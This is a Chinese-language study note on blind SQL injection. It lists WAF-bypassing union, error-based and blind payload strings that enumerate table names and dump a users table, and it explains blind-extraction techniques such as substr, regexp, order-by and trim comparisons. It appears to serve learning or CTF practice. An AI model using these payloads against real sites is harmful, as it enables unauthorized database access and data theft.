sql盲注深入学习
sql注入语句整理
这里整理一下绕过了大部分waf的语句
union联合注入:
过滤了空格
-1'union/*a*/select/*a*/1,group_concat(table_name),3/*a*/from/*a*/information_schema.tables/*a*/where/*a*/table_schema=database()--+ |
过滤了table表
-1'union/*a*/select/*a*/1,group_concat(table_name),3/*a*/from/*a*/sys.schema_auto_increment_columns/**/where/**/tabe_schema=database()--+ |
报错注入
1'and/**/extractvalue('~',concat('~',database()))--+ |
sql盲注
字符串截取问题
1.substr()/substring()
语法:substr(str,pos)
,截取从pos位置开始到最后的所有str字符串
substr(str,pos,len)
substr(str from pos for len)
substr(str from pos)
两种等价形式:

2.mid()
sql mid()函数用遇得到一个字符串的一部分,这个函数被MYSQL支持,但不被MS SQL Server 和Oracle支持。在SQL Server、Oracle数据库中,我们可以使用SQLsubstring或者sql substr函数作为替代
在mysql中和substr基本一样
mid必须要三个参数
3.right+ascii
语法:ascii(right(str,pos))

4.left+reverse+ascii
left只能显示第一个字符的ascii码,所以每次截取新的出来都需要用reverse翻转更新该ascii码
比较问题
1.等于
2.大于小于
3.like
sql中like自居使用百分号%字符来表示任意字符,类似于unix或正则表达式中的星号*。
如果没有使用百分号%,like字句与等号=的效果是一样的
4.正则表达式regexp rlike
语法:regexp "^str"

regexp和rlike是不区分大小写的,需要大小写敏感要加上binary关键字
5.between

6.in

也是大小写不敏感,字符和数字都可用,也有not in
7.AND逻辑与运算符
1和真与还是真
下面的逻辑运算的都一样
8.比较 or逻辑运算符
9.异或运算符
10.order by比较盲注
语句:
select x union select yzk order by 1; 如果x<y那么排序的第一个会是x,如果x>y那么排序第一个是y,更改的那一瞬间就会发生改变,


图中表箭头的是可以修改的可以发现布尔值更改的前一个就是真的
11.case
case exp1 when exp2 then exp3 else exp4 end;
这个语句的意思是:if exp1==exp2: return exp3
else return exp4

12.if
13.trim()
trim():删除前后空格、rtrim():删除字符串结尾空格、ltrim():删除字符串起始空格
语法:trim(both/leading/tring 目标字符串 from 源字符串)
利用:
可以发现有不一样的回显
写成比较语句如下:

如果=号用regexp替代 那么正确的字符一定在regexp前面
所以应该是正确的那个在后面
14.insert()
insert(字符串,起始长度,长度,替换为什么)

这样就可以按位截取字符
-1'/**/group/**/by/**/23,' |
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' |
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22' |